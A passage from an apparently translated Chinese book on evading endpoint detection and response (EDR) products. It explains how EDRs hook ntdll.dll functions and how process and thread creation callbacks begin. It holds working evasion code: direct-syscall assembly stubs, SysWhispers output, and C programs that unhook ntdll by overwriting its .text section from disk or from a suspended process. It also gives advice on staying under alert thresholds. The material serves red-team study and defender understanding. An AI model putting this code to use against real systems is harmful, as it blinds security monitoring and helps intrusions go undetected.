执行后渗透工具并接受检测。警报触发后,我们可以迅速行动,试图赶在响应之前,期待响应过程无效,从而未能根除我们,或者如果需要,可以接受烧掉操作并重新开始。
-
在执行工具之前等待一段时间。由于代理仅关联在某个时间窗口内发生的事件,我们可以简单地等待,直到状态重新循环,将我们的风险分数重置为零,然后继续操作。
-
寻找另一种执行方法。这可以从简单地将脚本放置到目标上并在那里执行,到通过代理转发后渗透工具的流量,从而减少它可能产生的大部分基于主机的指标。
无论我们选择什么方法,目标是明确的:尽可能长时间保持在警报阈值以下。通过计算我们需要执行的每个操作的风险,理解我们的活动所产生的指标,并结合使用规避策略,我们可以避开 EDR 复杂的检测系统。请注意,在这个示例中没有任何单一的规避方法可以通用。相反,是多种规避手段结合起来,针对当前任务最相关的检测进行了防范。
结论
总结来说,EDR 代理由多个传感器组成,负责收集与系统活动相关的遥测数据。EDR 会在这些数据上应用其自身的规则或检测逻辑,以识别可能表明恶意行为者存在的迹象。这些传感器每个都有某种程度的规避风险,找出这些盲点并加以利用或弥补是我们的工作。
第二章:2 函数钩取 DLL

在现代终端安全产品的所有组件中,最广泛部署的是负责函数 钩取(hooking)或拦截的 DLL。这些 DLL 为防御者提供了大量与代码执行相关的重要信息,如传递给感兴趣函数的参数以及函数返回的值。如今,供应商主要使用这些数据来补充其他更强大的信息来源。尽管如此,函数钩取仍然是 EDR(端点检测与响应)系统的重要组成部分。在本章中,我们将讨论 EDR 系统最常见的函数调用拦截方式,以及作为攻击者的我们可以做些什么来干扰它们。
本章重点讨论 Windows 文件 ntdll.dll 中函数的钩取,我们将在稍后介绍其功能,但现代 EDR 系统也钩取其他 Windows 函数。这些其他钩取的实现过程与本章描述的工作流程非常相似。
函数钩取的工作原理
要理解终端安全产品如何使用代码钩取,你必须了解用户模式中的代码如何与内核交互。这些代码通常在执行期间利用 Win32 API 来执行主机上的某些功能,例如请求打开另一个进程的句柄。然而,在许多情况下,通过 Win32 提供的功能无法完全在用户模式下完成。一些操作,如内存和对象管理,是由内核负责的。
为了将执行控制转交给内核,x64 系统使用系统调用指令(syscall)。但 Windows 并不在每个需要与内核交互的函数中实现系统调用指令,而是通过 ntdll.dll 中的函数提供它们。一个函数只需将所需的参数传递给这个导出的函数;该函数会将控制权传递给内核,然后返回操作结果。例如,图 2-1 展示了用户模式应用程序调用 Win32 API 函数 kernel32!OpenProcess() 时的执行流程。

图 2-1:从用户模式到内核模式的执行流程
为了检测恶意活动,供应商通常会钩取这些 Windows API。例如,EDR 系统检测远程进程注入的一种方式是钩取负责打开另一个进程句柄、分配内存区域、写入分配的内存以及创建远程线程的函数。
在早期版本的 Windows 中,供应商(和恶意软件作者)经常将他们的钩子放置在系统服务调度表(SSDT)上,这是一个在内核中保存指向内核函数的指针的表格,当进行系统调用时会调用这些函数。安全产品会将这些函数指针覆盖为指向它们自己内核模块中用于记录函数调用信息的函数的指针,然后执行目标函数。然后,它们会将返回值传递回源应用程序。
随着 2005 年 Windows XP 的推出,微软决定通过一种名为内核补丁保护(KPP),也称为 PatchGuard,来防止对 SSDT 等重要结构进行打补丁,因此这种技术在现代 64 位 Windows 版本上不可行。这意味着传统的钩子函数必须在用户模式下执行。因为在 ntdll.dll 中执行系统调用的函数是观察用户模式下 API 调用的最后一个可能位置,EDR(端点检测与响应)通常会钩住这些函数,以检查它们的调用和执行。某些常见的钩子函数在 表 2-1 中有详细介绍。
表 2-1: ntdll.dll 中常见的钩子函数 ntdll.dll
| 函数名称 | 相关的攻击者技术 |
|---|---|
| NtOpenProcessNtAllocateVirtualMemoryNtWriteVirtualMemoryNtCreateThreadEx | 远程过程注入 |
| NtSuspendThreadNtResumeThreadNtQueueApcThread | 通过异步过程调用(APC)进行 Shellcode 注入 |
| NtCreateSectionNtMapViewOfSection NtUnmapViewOfSection | 通过映射内存区段进行 Shellcode 注入 |
| NtLoadDriver | 使用存储在注册表中的配置加载驱动程序 |
通过拦截对这些 API 的调用,EDR 可以观察传递给原始函数的参数,以及返回给调用 API 的代码的值。然后,代理可以检查这些数据,以确定活动是否为恶意行为。例如,要检测远程进程注入,代理可以监视内存区域是否分配了读写执行权限,是否向新分配的内存写入了数据,以及是否使用指向已写入数据的指针创建了线程。
使用 Microsoft Detours 实现钩子
尽管大量库使得实现函数钩子变得容易,但大多数库在底层都利用相同的技术。这是因为,从本质上讲,所有的函数钩住都涉及到对无条件跳转(JMP)指令进行修补,将执行流从被钩住的函数重定向到开发者为 EDR 指定的函数。
微软的 Detours 是实现函数钩子最常用的库之一。在后台,Detours 将要钩住的函数中的前几条指令替换为无条件的JMP 指令,该指令会将执行流重定向到开发者定义的函数,这个函数也称为跳转函数。这个跳转函数执行开发者指定的操作,例如记录传递给目标函数的参数。然后,它会将执行流传递给另一个函数,通常称为弹簧板,该函数执行目标函数并包含原本被覆盖的指令。当目标函数执行完毕后,控制会返回到跳转函数。跳转函数可能会执行额外的处理,比如记录原始函数的返回值或输出,然后将控制返回给原始进程。
图 2-2 展示了正常进程执行与带有跳转函数的执行的对比。实心箭头表示预期的执行流,虚线箭头表示钩住的执行流。

图 2-2:正常和钩住的执行路径
在这个示例中,EDR 选择了挂钩 ntdll!NtCreateFile(),这是一个系统调用,用于创建新的 I/O 设备或打开现有设备的句柄。在正常操作下,这个系统调用会立即过渡到内核,内核模式的对应函数会继续执行。通过 EDR 的挂钩,执行现在会在注入的 DLL 中停顿。这个 edr!HookedNtCreateFile() 函数会代表 ntdll!NtCreateFile() 执行系统调用,收集关于传递给系统调用的参数和操作结果的信息。
在调试器(如 WinDbg)中检查被挂钩的函数,清楚地显示了已经挂钩的函数与未挂钩函数之间的区别。列表 2-1 显示了未挂钩的 kernel32!Sleep() 函数在 WinDbg 中的样子。
1:004> **uf KERNEL32!SleepStub**
KERNEL32!SleepStub:
00007ffa`9d6fada0 48ff25695c0600 jmp qword ptr [KERNEL32!imp_Sleep (00007ffa`9d760a10)
KERNEL32!_imp_Sleep:
00007ffa`9d760a10 d08fcc9cfa7f ror byte ptr [rdi+7FFA9CCCh],1
00007ffa`9d760a16 0000 add byte ptr [rax],al
00007ffa`9d760a18 90 nop
00007ffa`9d760a19 f4 hlt
00007ffa`9d760a1a cf iretd
列表 2-1:WinDbg 中未挂钩的 kernel32!SleepStub() 函数
这个函数的反汇编显示了我们预期的执行流程。当调用者调用 kernel32!Sleep() 时,跳转存根 kernel32!SleepStub() 被执行,长跳转(JMP)到 kernel32!_imp_Sleep(),它提供调用者所期望的实际 Sleep() 功能。
注入 DLL 后,利用 Detours 挂钩该函数,函数的样子发生了显著变化,见 列表 2-2。
1:005> **uf KERNEL32!SleepStub**
KERNEL32!SleepStub:
00007ffa`9d6fada0 e9d353febf jmp 00007ffa`5d6e0178
00007ffa`9d6fada5 cc int 3
00007ffa`9d6fada6 cc int 3
00007ffa`9d6fada7 cc int 3
00007ffa`9d6fada8 cc int 3
00007ffa`9d6fada9 cc int 3
00007ffa`9d6fadaa cc int 3
00007ffa`9d6fadab cc int 3
1:005> u 00007ffa`5d6e0178
00007ffa`5d6e0178 ff25f2ffffff jmp qword ptr [00007ffa`5d6e0170]
00007ffa`5d6e017e cc int 3
00007ffa`5d6e017f cc int 3
00007ffa`5d6e0180 0000N add byte ptr [rax],al
00007ffa`5d6e0182 0000 add byte ptr [rax],al
00007ffa`5d6e0184 0000 add byte ptr [rax],al
00007ffa`5d6e0186 0000 add byte ptr [rax],al
00007ffa`5d6e0188 0000 add byte ptr [rax],al
列表 2-2:WinDbg 中被挂钩的 kernel32!Sleep() 函数
与其跳转到 kernel32!_imp_Sleep(),反汇编中包含了一系列 JMP 指令,其中第二个将执行跳转到 trampoline64!TimedSleep(),该函数在 列表 2-3 中显示。
0:005> **uf poi(00007ffa`5d6e0170)**
trampoline64!TimedSleep
10 00007ffa`82881010 48895c2408 mov qword ptr [rsp+8],rbx
10 00007ffa`82881015 57 push rdi
10 00007ffa`82881016 4883ec20 sub rsp,20h
10 00007ffa`8288101a 8bf9 mov edi,ecx
10 00007ffa`8288101c 4c8d05b5840000 lea r8,[trampoline64!'string' (00007ffa`828894d8)]
10 00007ffa`82881023 33c9 xor ecx,ecx
10 00007ffa`82881025 488d15bc840000 lea rdx,[trampoline64!'string' (00007ffa`828894d8)]
10 00007ffa`8288102c 41b930000000 mov r9d,30h
10 00007ffa`82881032 ff15f8800000 call qword ptr [trampoline64!_imp_MessageBoxW]
10 00007ffa`82881038 ff15ca7f0000 call qword ptr [trampoline64!_imp_GetTickCount]
10 00007ffa`8288103e 8bcf mov ecx,edi
10 00007ffa`8288103e 8bd8 mov ebx,eax
10 00007ffa`82881040 ff15f0a60000 call qword ptr [trampoline64!TrueSleep]
10 00007ffa`82881042 ff15ba7f0000 call qword ptr [trampoline64!_imp_GetTickCount]
10 00007ffa`82881048 2bc3 sub eax,ebx
10 00007ffa`8288104e f00fc105e8a60000 lock xadd dword ptr [trampoline64!dwSlept],eax
10 00007ffa`82881050 488b5c2430 mov rbx,qword ptr [rsp+30h]
10 00007ffa`82881058 4883c420 add rsp,20h
10 00007ffa`8288105d 5f pop rdi
10 00007ffa`82881061 c3 ret
列表 2-3:kernel32!Sleep() 拦截函数
为了收集关于被挂钩函数执行的度量信息,这个跳板函数通过其内部的 trampoline64!TrueSleep() 包装函数,调用合法的 kernel32!Sleep() 函数来评估它的睡眠时间(以 CPU 时钟周期为单位)。它会在弹出消息中显示时钟计数。
虽然这是一个人为构造的例子,但它展示了每个 EDR 的函数钩子 DLL 的核心功能:代理目标函数的执行并收集有关如何调用它的信息。在这个例子中,我们的 EDR 只是测量被钩程序的睡眠时间。在真实的 EDR 中,重要的函数,如 ntdll!NtWriteVirtualMemory()(用于将代码复制到远程进程),也会以同样的方式被代理,但钩子可能会更关注传递的参数和返回的值。
注入 DLL
直到 DLL 被加载到目标进程中,它才会变得有用。某些库提供了通过 API 生成进程并注入 DLL 的能力,但这对于 EDR 来说并不实用,因为它们需要能够随时将 DLL 注入用户生成的进程中。幸运的是,Windows 提供了几种方法来实现这一点。
直到 Windows 8 之前,许多厂商选择使用 AppInit_Dlls 基础设施将他们的 DLL 加载到每个交互式进程中(那些导入 user32.dll 的进程)。不幸的是,恶意软件作者经常滥用这一技术来维持持久性和收集信息,这也使得该技术因导致系统性能问题而声名狼藉。微软不再推荐这种 DLL 注入方法,并且从 Windows 8 开始,在启用安全启动的系统上完全禁止了这种方法。
注入函数钩子 DLL 到进程中最常用的技术是利用驱动程序,它可以使用一个名为内核异步过程调用(KAPC)注入的内核级特性,将 DLL 插入进程中。当驱动程序被通知到新进程的创建时,它会为 APC 程序和要注入的 DLL 名称分配一部分进程的内存。接下来,它会初始化一个新的 APC 对象,负责将 DLL 加载到进程中,并将其复制到进程的地址空间。最后,它会改变线程的 APC 状态中的标志,以强制执行 APC。当进程恢复执行时,APC 程序将运行,加载 DLL。第五章对这个过程进行了更详细的解释。
检测函数钩子
进攻性安全从业人员通常希望识别他们计划使用的函数是否已被钩取。一旦他们识别出已钩取的函数,他们可以列出这些函数,然后限制或完全避免使用它们。这使得对手能够绕过 EDR 的函数钩子 DLL 的检测,因为它的检测功能将永远不会被调用。检测钩取函数的过程非常简单,特别是对于 ntdll.dll 导出的本地 API 函数。
ntdll.dll中的每个函数都包含一个系统调用存根。构成此存根的指令显示在清单 2-4 中。
mov r10, rcx
mov eax, `<syscall_number>`
syscall
retn
清单 2-4:系统调用存根汇编指令
您可以通过在 WinDbg 中反汇编一个由ntdll.dll导出的函数来查看此存根,如清单 2-5 所示。
0:013> **u ntdll!NtAllocateVirtualMemory**
ntdll!NtAllocateVirtualMemory
00007fff`fe90c0b0 4c8bd1 mov r10,rcx
00007fff`fe90c0b5 b818000000 mov eax,18h
00007fff`fe90c0b8 f694259893fe7f01 test byte ptr SharedUserData+0x308,1
00007fff`fe90c0c0 7503 jne ntdll!NtAllocateVirtualMemory+0x15
00007fff`fe90c0c2 0f05 syscall
00007fff`fe90c0c4 c3 ret
00007fff`fe90c0c5 cd2e int 2Eh
00007fff`fe90c0c7 c3 ret
清单 2-5:未经修改的ntdll!NtAllocateVirtualMemory()系统调用存根
在对ntdll!NtAllocateVirtualMemory()的反汇编中,我们看到系统调用存根的基本构建块。该存根将易失性的 RCX 寄存器保存在 R10 寄存器中,然后将与NtAllocateVirtualMemory()相关的系统调用编号(在此版本的 Windows 中为 0x18)移动到 EAX 寄存器。接下来,紧跟在MOV指令后面的TEST和条件跳转(JNE)指令是所有系统调用存根中的检查。当启用 Hypervisor 代码完整性时,受限用户模式会使用它来检查内核模式代码,但不适用于用户模式代码。在此上下文中,您可以安全地忽略它。最后,执行系统调用指令,将控制权转交给内核以处理内存分配。当函数完成并将控制权交还给ntdll!NtAllocateVirtualMemory()时,它只是简单地返回。
由于所有本地 API 的系统调用存根都是相同的,任何对它的修改都表明存在函数钩子。例如,[清单 2-6 展示了被篡改的ntdll!NtAllocateVirtualMemory()函数的系统调用存根。
0:013> **u ntdll!NtAllocateVirtualMemory**
ntdll!NtAllocateVirtualMemory
00007fff`fe90c0b0 e95340baff jmp 00007fff`fe4b0108
00007fff`fe90c0b5 90 nop
00007fff`fe90c0b6 90 nop
00007fff`fe90c0b7 90 nop
00007fff`fe90c0b8 f694259893fe7f01 test byte ptr [SharedUserData+0x308],1
00007fff`fe90c0c0 7503 jne ntdll!NtAllocateVirtualMemory+0x15
00007fff`fe90c0c2 0f05 syscall 00007fff`fe90c0c4 c3 ret
00007fff`fe90c0c5 cd2e int 2Eh
00007fff`fe90c0c7 c3 ret
清单 2-6:被钩住的ntdll!NtAllocateVirtualMemory()函数
请注意,在这里,与其说ntdll!NtAllocateVirtualMemory()的入口点存在系统调用存根,不如说存在一个无条件的JMP指令。EDR 通常使用这种类型的修改将执行流程重定向到它们的钩子 DLL。
因此,为了检测 EDR 所植入的钩子,我们可以简单地检查当前加载到我们进程中的ntdll.dll副本中的函数,将它们的入口点指令与未经修改的系统调用存根的预期操作码进行比较。如果我们发现某个我们想要使用的函数上有钩子,我们可以尝试使用下一节中描述的技术来规避它。
规避函数钩子
在所有用于终端安全软件的传感器组件中,函数钩子是研究最为深入的规避手段之一。攻击者可以通过多种方法规避函数拦截,这些方法通常归结为以下几种技术:
-
直接调用系统调用来执行未修改的系统调用存根指令
-
重新映射 ntdll.dll,以获取未挂钩的函数指针,或覆盖当前映射在进程中的已挂钩的 ntdll.dll
-
阻止非微软的 DLL 在进程中加载,以防止 EDR 的函数钩子 DLL 设置其拦截
这绝不是一个详尽无遗的列表。一个不属于上述任何类别的技术示例是向量化异常处理,详见 Peter Winter-Smith 的博客文章《FireWalker:一种通用规避用户空间 EDR 钩子的全新方法》。Winter-Smith 的技术使用了 向量化异常处理器 (VEH),它是结构化异常处理的扩展,允许开发者注册自己的函数来监视并处理给定应用程序中的所有异常。它通过设置处理器的陷阱标志将程序置于单步模式。在每个新的指令上,规避代码会生成单步异常,VEH 首先有权拒绝。VEH 将通过更新指令指针,跳过 EDR 设置的钩子,指向包含原始未修改代码的代码块。
尽管这个技术很有趣,但目前仅适用于 32 位应用程序,并且由于单步执行,它可能会对程序的性能产生不利影响。因此,这种规避方法超出了本章的讨论范围。我们将专注于更广泛适用的技术。
直接调用系统调用
迄今为止,最常被滥用的规避技术是直接调用系统调用,以规避在 ntdll.dll 函数上设置的钩子。如果我们自己执行系统调用存根的指令,就可以模拟未修改的函数。为了做到这一点,我们的代码必须包含所需函数的签名、包含正确系统调用编号的存根,以及对目标函数的调用。这个调用使用签名和存根传递必要的参数,并以钩子无法检测的方式执行目标函数。清单 2-7 包含了我们需要创建的第一个文件,以执行这一技术。
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, 0018h
syscall
ret
NtAllocateVirtualMemory ENDP
清单 2-7:NtAllocateVirtualMemory()的汇编指令
我们项目中的第一个文件包含了 ntdll!NtAllocateVirtualMemory() 的重新实现。该函数中的指令将填充 EAX 寄存器以存储系统调用编号。然后,执行系统调用指令。此汇编代码将保存在自己的 .asm 文件中,并且可以配置 Visual Studio 使用 Microsoft 宏汇编器(MASM)来编译它,和项目的其余部分一起。
即使我们已经构建了系统调用存根,我们仍然需要一种方式从代码中调用它。列表 2-8 展示了我们如何做到这一点。
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID BaseAddress,
ULONG ZeroBits,
PULONG RegionSize,
ULONG AllocationType,
ULONG Protect);
列表 2-8:将包含在项目头文件中的 NtAllocateVirtualMemory() 的定义
这个函数定义包含了所有必需的参数及其类型,以及返回类型。它应该位于我们的头文件 syscall.h 中,并会包含在我们的 C 源文件中,如 列表 2-9 所示。
#include "syscall.h"
void wmain()dg
{
LPVOID lpAllocationStart = NULL;
❶ NtAllocateVirtualMemory(GetCurrentProcess(),
&lpAllocationStart, 0,
(PULONG)0x1000,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
}
列表 2-9:在 C 中进行直接系统调用
该文件中的 wmain() 函数调用 NtAllocateVirtualMemory() ❶ 来为当前进程分配一个 0x1000 字节的缓冲区,并且该缓冲区具有读写权限。这个函数没有在微软提供给开发者的头文件中定义,因此我们必须在自己的头文件中定义它。当调用这个函数时,汇编代码将会被执行,而不是调用 ntdll.dll,有效地模拟了未被 hook 的 ntdll!NtAllocateVirtualMemory() 行为,而不会触发 EDR 的钩子。
这种技术的主要挑战之一是微软经常更改系统调用编号,因此任何硬编码这些编号的工具可能只能在特定的 Windows 版本上工作。例如,Windows 10 1909 版本中的 ntdll!NtCreateThreadEx() 系统调用编号是 0xBD。在 20H1 版本中,即接下来的发布版本,它的编号是 0xC1。这意味着,针对 1909 版本的工具在更高版本的 Windows 上可能无法使用。
为了帮助解决这一限制,许多开发者依赖外部资源来跟踪这些变化。例如,Google Project Zero 的 Mateusz Jurczyk 维护着每个 Windows 版本的函数及其关联的系统调用编号列表。2019 年 12 月,Jackson Thuraisamy 发布了工具 SysWhispers,它使攻击者能够动态生成系统调用的函数签名和汇编代码,并将其应用于攻击工具中。列表 2-10 展示了 SysWhispers 在针对 Windows 10 1903 到 20H2 版本的 ntdll!NtCreateThreadEx() 函数时生成的汇编代码。
NtCreateThreadEx PROC
mov rax, gs:[60h] ; Load PEB into RAX.
NtCreateThreadEx_Check_X_X_XXXX: ; Check major version.
cmp dword ptr [rax+118h], 10
je NtCreateThreadEx_Check_10_0_XXXX
jmp NtCreateThreadEx_SystemCall_Unknown
❶ NtCreateThreadEx_Check_10_0_XXXX: ;
cmp word ptr [rax+120h], 18362
je NtCreateThreadEx_SystemCall_10_0_18362
cmp word ptr [rax+120h], 18363
je NtCreateThreadEx_SystemCall_10_0_18363
cmp word ptr [rax+120h], 19041
je NtCreateThreadEx_SystemCall_10_0_19041
cmp word ptr [rax+120h], 19042
je NtCreateThreadEx_SystemCall_10_0_19042
jmp NtCreateThreadEx_SystemCall_Unknown
NtCreateThreadEx_SystemCall_10_0_18362: ; Windows 10.0.18362 (1903)
❷ mov eax, 00bdh
jmp NtCreateThreadEx_Epilogue NtCreateThreadEx_SystemCall_10_0_18363: ; Windows 10.0.18363 (1909)
mov eax, 00bdh
jmp NtCreateThreadEx_Epilogue
NtCreateThreadEx_SystemCall_10_0_19041: ; Windows 10.0.19041 (2004)
mov eax, 00c1h
jmp NtCreateThreadEx_Epilogue
NtCreateThreadEx_SystemCall_10_0_19042: ; Windows 10.0.19042 (20H2)
mov eax, 00c1h
jmp NtCreateThreadEx_Epilogue
NtCreateThreadEx_SystemCall_Unknown: ; Unknown/unsupported version.
ret
NtCreateThreadEx_Epilogue:
mov r10, rcx
❸ syscall
ret
NtCreateThreadEx ENDP
列表 2-10:SysWhispers 对于ntdll!NtCreateThreadEx()的输出
这段汇编代码从进程环境块❶中提取构建号,然后使用该值将相应的系统调用号移动到 EAX 寄存器❷,在进行系统调用❸之前。虽然这种方法有效,但需要相当大的努力,因为攻击者必须在每次微软发布新版本的 Windows 时,更新数据集中系统调用号。
动态解析系统调用号
2020 年 12 月,一位名为@modexpblog 的研究人员在 Twitter 上发布了一篇名为《绕过用户模式钩子和直接调用系统调用用于红队》的博客文章。文章描述了另一种函数钩子规避技术:在运行时动态解析系统调用号,这使得攻击者无需为每个 Windows 版本硬编码调用号。该技术使用以下工作流来创建函数名称和系统调用号的字典:
-
获取当前进程映射的ntdll.dll的句柄。
-
枚举所有以Zw开头的导出函数以识别系统调用。请注意,以Nt为前缀的函数(这是更常见的形式)在从用户模式调用时也能正常工作。此处选择使用 Zw 版本似乎是任意的。
-
存储导出的函数名称及其相关的相对虚拟地址。
-
按相对虚拟地址对字典进行排序。
-
在字典中排序后,将函数的系统调用号定义为其索引。
使用这种技术,我们可以在运行时收集系统调用号,将其插入到适当位置的存根中,然后像在静态编码方法中一样调用目标函数。
重新映射 ntdll.dll
另一种常用的规避用户模式函数钩子的技术是将新的ntdll.dll加载到进程中,用新加载的文件内容覆盖现有的钩取版本,然后调用所需的函数。这个策略有效,因为新加载的ntdll.dll不包含之前加载的版本中实现的钩子,因此当它覆盖被污染的版本时,实际上清除了所有由 EDR 放置的钩子。列表 2-11 展示了一个这一过程的简单示例。为简洁起见,部分行已被省略。
int wmain()
{
HMODULE hOldNtdll = NULL;
MODULEINFO info = {};
LPVOID lpBaseAddress = NULL;
HANDLE hNewNtdll = NULL;
HANDLE hFileMapping = NULL;
LPVOID lpFileData = NULL;
PIMAGE_DOS_HEADER pDosHeader = NULL;
PIMAGE_NT_HEADERS64 pNtHeader = NULL;
hOldNtdll = GetModuleHandleW(L"ntdll");
if (!GetModuleInformation(
GetCurrentProcess(),
hOldNtdll,
&info,
sizeof(MODULEINFO)))
❶ lpBaseAddress = info.lpBaseOfDll;
hNewNtdll = CreateFileW(
L"C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
hFileMapping = CreateFileMappingW(
hNewNtdll,
NULL,
PAGE_READONLY | SEC_IMAGE,
0, 0, NULL);
❷ lpFileData = MapViewOfFile(
hFileMapping,
FILE_MAP_READ,
0, 0, 0);
pDosHeader = (PIMAGE_DOS_HEADER)lpBaseAddress;
pNtHeader = (PIMAGE_NT_HEADERS64)((ULONG_PTR)lpBaseAddress + pDosHeader->e_lfanew); for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++)
{
PIMAGE_SECTION_HEADER pSection =
(PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(pNtHeader) +
((ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
❸ if (!strcmp((PCHAR)pSection->Name, ".text"))
{
DWORD dwOldProtection = 0;
❹ VirtualProtect(
(LPVOID)((ULONG_PTR)lpBaseAddress + pSection->VirtualAddress),
pSection->Misc.VirtualSize,
PAGE_EXECUTE_READWRITE,
&dwOldProtection
);
❺ memcpy(
(LPVOID)((ULONG_PTR)lpBaseAddress + pSection->VirtualAddress),
(LPVOID)((ULONG_PTR)lpFileData + pSection->VirtualAddress),
pSection->Misc.VirtualSize
);
❻ VirtualProtect(
(LPVOID)((ULONG_PTR)lpBaseAddress + pSection->VirtualAddress),
pSection->Misc.VirtualSize,
dwOldProtection,
&dwOldProtection
);
break;
}
}
`--snip--`
}
列表 2-11:覆盖已钩取的 ntdll.dll 的技术
我们的代码首先获取当前已加载(被钩住的)ntdll.dll的基地址❶。然后我们从磁盘读取ntdll.dll的内容并将其映射到内存中❷。此时,我们可以解析被钩住的ntdll.dll的 PE 头,寻找.text部分的地址❸,该部分包含映像中的可执行代码。一旦找到它,我们将修改该内存区域的权限,以便能够向其中写入❹,将“干净”文件中的.text部分内容复制进去❺,然后恢复内存保护的更改❻。当这一系列事件完成后,原本由 EDR 放置的钩子应该已经被移除,开发人员可以调用ntdll.dll中的任何函数,而不必担心执行会被重定向到 EDR 注入的 DLL。
虽然从磁盘读取ntdll.dll看似简单,但它确实带来了潜在的权衡。这是因为将ntdll.dll多次加载到单一进程中并非典型行为。防御者可以通过 Sysmon 捕获这一活动,Sysmon 是一款免费的系统监控工具,提供与 EDR 相同的许多遥测收集功能。几乎每个非恶意进程都将进程 GUID 与ntdll.dll的加载一一对应。当我在大型企业环境中查询这些属性时,在一个月的时间内,约有 37 百万个进程中,只有大约 0.04%的进程在此期间加载了ntdll.dll多于一次。
为了避免基于此异常的检测,您可以选择在挂起状态下生成一个新进程,获取新进程中未修改的ntdll.dll的句柄,并将其复制到当前进程中。从那里,您可以像之前展示的那样获取函数指针,或者替换现有的被钩住的ntdll.dll,有效地覆盖 EDR 放置的钩子。示例 2-12 演示了这种技术。
int wmain() {
LPVOID pNtdll = nullptr;
MODULEINFO mi;
STARTUPINFOW si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(STARTUPINFOW));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
GetModuleInformation(GetCurrentProcess(),
GetModuleHandleW(L"ntdll.dll"),
❶ &mi, sizeof(MODULEINFO));
PIMAGE_DOS_HEADER hooked_dos = (PIMAGE_DOS_HEADER)mi.lpBaseOfDll;
PIMAGE_NT_HEADERS hooked_nt =
❷ (PIMAGE_NT_HEADERS)((ULONG_PTR)mi.lpBaseOfDll + hooked_dos->e_lfanew);
CreateProcessW(L"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, TRUE, CREATE_SUSPENDED,
❸ NULL, NULL, &si, &pi);
pNtdll = HeapAlloc(GetProcessHeap(), 0, mi.SizeOfImage);
ReadProcessMemory(pi.hProcess, (LPCVOID)mi.lpBaseOfDll,
pNtdll, mi.SizeOfImage, nullptr);
PIMAGE_DOS_HEADER fresh_dos = (PIMAGE_DOS_HEADER)pNtdll;
PIMAGE_NT_HEADERS fresh_nt =
4 (PIMAGE_NT_HEADERS)((ULONG_PTR)pNtdll + fresh_dos->e_lfanew);
for (WORD i = 0; i < hooked_nt->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hooked_section =
(PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(hooked_nt) +
((ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((PCHAR)hooked_section->Name, ".text")){
DWORD oldProtect = 0;
LPVOID hooked_text_section = (LPVOID)((ULONG_PTR)mi.lpBaseOfDll +
(DWORD_PTR)hooked_section->VirtualAddress);
LPVOID fresh_text_section = (LPVOID)((ULONG_PTR)pNtdll +
(DWORD_PTR)hooked_section->VirtualAddress); VirtualProtect(hooked_text_section,
hooked_section->Misc.VirtualSize,
PAGE_EXECUTE_READWRITE,
&oldProtect);
RtlCopyMemory(
hooked_text_section,
fresh_text_section,
hooked_section->Misc.VirtualSize);
VirtualProtect(hooked_text_section,
hooked_section->Misc.VirtualSize,
oldProtect,
&oldProtect);
}
}
TerminateProcess(pi.hProcess, 0);
`--snip--`
return 0;
}
示例 2-12:在挂起进程中重新映射 ntdll.dll
这个最小示例首先打开当前映射到我们进程中的ntdll.dll副本的句柄❶,获取其基地址并解析其 PE 头❷。接下来,它创建一个挂起的进程❸,并解析该进程中ntdll.dll副本的 PE 头❹,这个副本尚未被 EDR 钩住。该函数的其余流程与前一个示例完全相同,当它完成时,钩住的ntdll.dll应该已经恢复到干净状态。
与所有事情一样,这里也存在一个权衡,因为我们新的挂起进程创建了另一个被检测的机会,比如通过钩住的ntdll!NtCreateProcessEx()、驱动程序或 ETW 提供者。根据我的经验,很少见到程序出于合法原因创建一个临时挂起的进程。
结论
函数钩取是终端安全产品监控其他进程执行流的一种原始机制。尽管它为 EDR 提供了非常有用的信息,但由于其常见实现中的固有弱点,它非常容易被绕过。正因如此,现今大多数成熟的 EDR 将其视为辅助遥测源,而更依赖于更为稳健的传感器。
第三章:3 进程和线程创建通知

大多数现代 EDR 解决方案在很大程度上依赖于其内核模式驱动程序提供的功能,内核模式驱动程序是运行在操作系统特权层下的传感器组件,位于用户模式之下。这些驱动程序使开发人员能够利用仅在内核中可用的功能,为 EDR 提供许多预防功能和遥测数据。
虽然供应商可以在他们的驱动程序中实现大量与安全相关的功能,但最常见的功能是通知回调例程。这些是内部例程,当指定的系统事件发生时,它们会采取相应的措施。
在接下来的三章中,我们将讨论现代 EDR 如何利用通知回调例程,从内核中获取对系统事件的有价值的洞察力。我们还将介绍与每种通知类型及其相关回调例程相关的规避技术。本章重点讨论 EDR 中常用的两种回调例程:与进程创建和线程创建相关的回调例程。
通知回调例程的工作原理
在 EDR(端点检测和响应)领域,驱动程序的一个强大功能是能够在系统事件发生时获得通知。这些系统事件可能包括创建或终止新的进程和线程、请求复制进程和线程、加载图像、在注册表中执行操作或请求系统关闭。例如,开发人员可能想知道某个进程是否尝试打开一个新的lsass.exe句柄,因为这是大多数凭证转储技术的核心组件。
为了实现这一点,驱动程序注册回调例程,这些例程基本上是在说:“如果系统发生这种类型的事件,请告诉我,这样我可以采取相应的行动。”由于这些通知,驱动程序可以采取相应的措施。有时它可能只是从事件通知中收集遥测数据。或者,它可能选择做一些事情,比如仅提供对敏感进程的部分访问权限,例如通过返回带有限制访问掩码的句柄(例如,PROCESS_QUERY_LIMITED_INFORMATION而不是PROCESS_ALL_ACCESS)。
回调例程可以是操作前回调,发生在事件完成之前,或者是操作后回调,发生在操作完成之后。操作前回调在 EDR 中更为常见,因为它们赋予驱动程序干预事件或防止事件完成的能力,以及本章将讨论的其他附加好处。操作后回调也很有用,因为它们可以提供有关系统事件结果的信息,但也有一些缺点。最大的问题是,它们通常在任意线程上下文中执行,这使得 EDR 难以收集启动该操作的进程或线程的信息。
进程通知
